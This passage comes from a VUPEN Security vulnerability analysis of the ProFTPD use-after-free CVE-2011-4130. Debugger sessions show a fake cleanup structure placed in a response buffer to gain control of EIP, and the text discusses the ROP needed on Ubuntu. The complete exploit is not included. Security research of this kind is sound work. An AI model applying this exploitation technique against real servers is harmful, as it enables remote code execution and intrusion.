0x080fd0cc 0x080fd210
0x80fd13c: 0x00000000 0x080fd210 0x080fd210 0x33322820
0x80fd14c: 0x79622030

 

The dword in red points to our fake cleanup structure. The over dwords are pointing to writable location inside resp_buf in order to avoid that the program segfaults before reaching the code handling the cleanup structure.

We then break on the pool destruction in "destroy_pool()":

 
Breakpoint 1, 0x080598a9 in destroy_pool ()
(gdb) i r ebx
ebx            0x80fd12c       135254316                // our fake pool is being processed
(gdb) c
Breakpoint 2, 0x080598e2 in destroy_pool ()
(gdb) x/7i $eip
=> 0x80598e2 <destroy_pool+66>: mov 0x8(%ebx),%esi  // retrieve cleanup ptr
0x80598e5 <destroy_pool+69>: test %esi,%esi                 // verify cleanup ptr != NULL
0x80598e7 <destroy_pool+71>: je 0x80598ff <destroy_pool+95>
0x80598e9 <destroy_pool+73>: lea 0x0(%esi,%eiz,1),%esi
0x80598f0 <destroy_pool+80>: mov (%esi),%eax
0x80598f2 <destroy_pool+82>: mov %eax,(%esp)
0x80598f5 <destroy_pool+85>: call *0x4(%esi)                // call cleanup ptr callback
(gdb) x/2x *($ebx+8)
0x80fd0cc:   0x41414141   0x42424242
(gdb) c

Temporary breakpoint 3, 0x080598f5 in destroy_pool ()
(gdb) x/i $eip
=> 0x80598f5 <destroy_pool+85>: call *0x4(%esi)
(gdb) x/2wx $esi
0x80fd0cc:   0x41414141   0x42424242

 

The %esi register now points to an address inside the resp_buf containing our data (0x41414141 and 0x42424242), which corresponds respectively to the data field and plain_cleanup_cb function pointer.

Yes! EIP is now fully controlled!


On systems without NX, the exploitation ends here as we fully control EIP. However on systems like Ubuntu we have to perform a ROP before we can effectively execute arbitrary code. ASLR can also be bypassed using the memory leak method found previously, however on Ubuntu, ProFTPD was not compiled with PIE.

Our code execution exploit for Ubuntu and Debian is available through the VUPEN Binary Analysis & Exploits Service.


7. References and Links

Part I - Technical Analysis of ProFTPD Response Pool Use-after-free (CVE-2011-4130)

Copyright VUPEN Security



 

VUPEN Solutions  

 


 

 

 

 

 

 

 

 

 

2004-2014 VUPEN Security - Copyright - Privacy Policy